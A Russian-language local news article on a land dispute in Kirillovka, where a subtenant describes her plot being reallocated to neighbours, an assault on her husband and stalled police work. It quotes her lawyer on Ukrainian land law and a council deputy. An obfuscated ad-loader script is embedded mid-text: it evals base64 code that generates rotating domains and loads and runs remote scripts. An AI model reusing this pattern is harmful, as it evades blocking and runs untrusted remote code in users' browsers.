Дорогая морская земля: как в Кирилловке с побережья выживают арендаторов

Арендатор земельного участка в Кирилловке столкнулась с давлением, угрозами и силовыми действиями со стороны конкурентов, желающих забрать лакомый участок на побережье.

Угрозы, избиение, бесправие – с таким жутким коктейлем столкнулась арендатор «морского» земельного участка. Земля на море всегда считалсь особенной ценностью. Именно из-за неё часто разворачивается война не на жизнь, а на смерть. Из-за неё же представители власти позволяют себе выходить за рамки собственных полномочий, нарушая все возможные нормы и даже закон. Такая война развернулась в Кирилловке, где у постоянного субарендатора, вопреки всем законам и здравому смыслу, отбирают часть земельного участка на косе Пересыпь. Об этом сообщает 06137.

Как рассказала 06137 Татьяна Михайлова, которая взяла в аренду землю на косе ещё в 2008 году общей площадью 0,2951 га, после досрочного разрыва договора субаренды с ней, более мелкие субарендаторы пытаются отобрать у неё часть земли, действуя через местный (Кирилловский) поселковый совет. Конкуренты избили супруга Татьяны металлическим предметом, угрожая расправой, если семья не «успокоится» и не смирится с лишением законного права на участок.

Так, по словам Татьяны, на данном участке находится коттедж, который она успела построить для развития рекреационной зоны, а также позаботилась об энергетическом обеспечении,поставив трансформатор и проложив кабели на своём участке до трансформатора и другие коммуникации.

Нынче более мелкие арендаторы подают заявления в кирилловский поселковый совет с просьбами о расширении своих участков, захватывая землю соседки – Татьяны Михайловой.

— Я взяла в субаренаренду землю и планировала развивать курортный бизнес. Когда мой дом был уже построен и проложены электрокабели, в прошлом году арендатор разорвала со всеми договоры субаренды и теперь мои соседи, у которых меньше земли, захватывают мои участки. Они объединились, чтобы на меня давить. Они забирают мою землю и делают проход на той территории, которая планировалась под базу отдыха и была единым куском. Более того, там лежат мои кабели, ведущие к трансформатору, — говорит Татьяна.

Отметим, что, по словам женщины, местные депутаты, вопреки законодательству, не соблюдая систему аукциона, отвели пустые участки, которые принадлежат кирилловской громаде, оппонентам Михайловой.

— Пустые участки должны выставляться на аукцион. Они непрозрачно между собой перераспределили эти участки. Проход сделали на моей территории. Я сужусь уже 1,5 года. У меня всё законно – там мои кабели и трансформатор. Это воровство. Кирилловская сельская рада считает, что это всё нормально. Мне уже много раз угрожали. Была ситуация, которая описывалась в СМИ, когда избили моего мужа металлическим предметом, нанеся ущерб его здоровью. Он две недели провёл в больнице. Это случилось в марте прошлого года в Мелитополе, где мы живём. Мы подали тогда заявление в полицию, но они не расследуют дело. Полиция это замалчивает. Сейчас папка с материалами об избиении мужа, где были видео с авторегистратора, фото нападавших, показания потерпевшего,- пуста, — рассказывает Татьяна Михайлова.

Адвокаты семьи Михаловых отмечают, что, по закону, если на земле построена недвижимость, то земля должна следовать за хозяином этой недвижимости.

— Земельные участки площадью 0,1000 га и 0,1951 га образуют единый земельный массив и застраиваются под базу отдыха. То есть, по сути это единственный земельный участок, который запланирован под строительство современной базы отдыха, с развитой инфраструктурой, с размещением на ней домов для отдыха, беседок, бассейна, детской площадки, зон отдыха и т.д.

Согласно действующей редакции статьи 120 ЗК Украины, в случае приобретения права собственности на жилое здание, здание или сооружение, находящиеся в собственности, пользовании другого лица, прекращается право собственности, право пользования земельным участком, на котором расположены эти объекты. К лицу, приобретшему право собственности на жилой дом, здание или сооружение, размещенные на земельном участке, находящемся в собственности другого лица, переходит право собственности на земельный участок или его часть, на которой они размещены, без изменения его целевого назначения. Если жилой дом, здание или сооружение размещены на находящемся в пользовании земельном участке, то в случае приобретения права собственности на эти объекты к приобретателю переходит право пользования земельным участком, на котором они размещены, на тех же условиях и в том же объеме , которые были у предыдущего землепользователя

Согласно статье 377 ГК Украины, к лицу, получившему право собственности на жилой дом (кроме многоквартирного), здание или сооружение, переходит право собственности, право пользования на земельный участок, на котором они размещены, без изменения его целевого назначения в объеме и на условиях, установленных для предыдущего землевладельца (землепользователя)

То есть действующими Гражданским и Земельным Кодексами Украины установлено, что земельный участок следует за домом, сооружением, зданием, а не наоборот, — отмечает адвокат Денис Журавлёв.

«Каким образом, можно просто так кому-то отдать чужую землю? На сегодняшний день у меня забрали почти 7 соток земли», — говорит Татьяна. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

— В течение 2020-2021гг. я неоднократно обращалась в правоохранительные органы по поводу угроз, повреждения имущества, нанесения повреждений, сопровождающих скандальное разделение.

Единственное, чего мне удалось добиться, это через суд обязать Мелитопольский ОП ГУНП возбудить уголовное дело (с внесением в ЕРДР) по причине телесных повреждений одному из членов семьи. Однако, указанное дело умышленно затягивается и не расследуется (имея фото нападающих и видео события с автомобильного видеорегистратора), поскольку один из моих соседей, которого интересует земельный участок, который есть в моем пользовании, является бывшим чиновником милиции, и дело в целом касается лоббирования земельных интересов местных авторитетных лиц. То есть, я не могу полноценно себя защитить как гражданка Украины, обратившись в правоохранительные органы, — констатирует Михайлова.

Мы попросили прокомментировать ситуацию главу земельной комиссии Кирилловского поселкового совета, на которой, равно, как и на нескольких сессиях, принимались решения не в пользу Михайловой.

— Мы прислушиваемся к мнению всех людей. С точки зрения, чтобы всем было хорошо. Мы вот так решили, а там уже есть суды. Пусть она обращается в суд. И вообще я не хочу комментировать эту ситуацию. Обращайтесь в суд и к юристам, — сказал глава земкомиссии, — депутат Сергей Коробка.

На вопрос, какое нужно подать заявление, чтобы мнение первичного пользователя было учтено равно, как и других (но более мелких ) арендаторов, депутат сказал, что обычное заявление. Но тем не менее, оно не работает.

На вопрос, почему распределяется между некими людьми земля, которая даже не находится у них в аренде и почему депутаты удовлетворяют запросы новых «клиентов», игнорируя законное право старого арендатора, глава земельной комиссии не нашёлся, что сказать. Так же, как и на то, что есть уже несколько решений судов разных инстанций, которые признали незаконным прежнее решение.

Почему не проводятся прозрачные торги для полноценной сдачи в аренду этой земли? Местные депутаты тоже не знают, продолжая лоббировать интересы новых потенциальных арендаторов, которые, к тому же угрожают жизни соседей.

Ниже представлены документы, где подробного расписано, как, когда и в каком порядке Михайловы обращались в суды, к местной и областной власти и какие ответы получали.

Отметим, что решения сессий Кирилловской селищной радой от 28.08.2019 г. и 20.12.2019 г.касательно сервитута по этому участку были отменены решением Акимовского районного суда Запорожской области от 15.11.2021 как незаконные.

После последней сессии коирилловского поселкового совета в декабре прошлого года, на котором местные депутаты проголосовали в пользу разделения участка Михайловой и незаконного добавления соток земли её оппонентам, Акимовский районный суд также решил приостановить незаконное решение депутатов местного поселкового совета.

Также журналисты ожидают комментариев по этому поводу Кирилловских депутатов и справедливой развязки земельного скандала.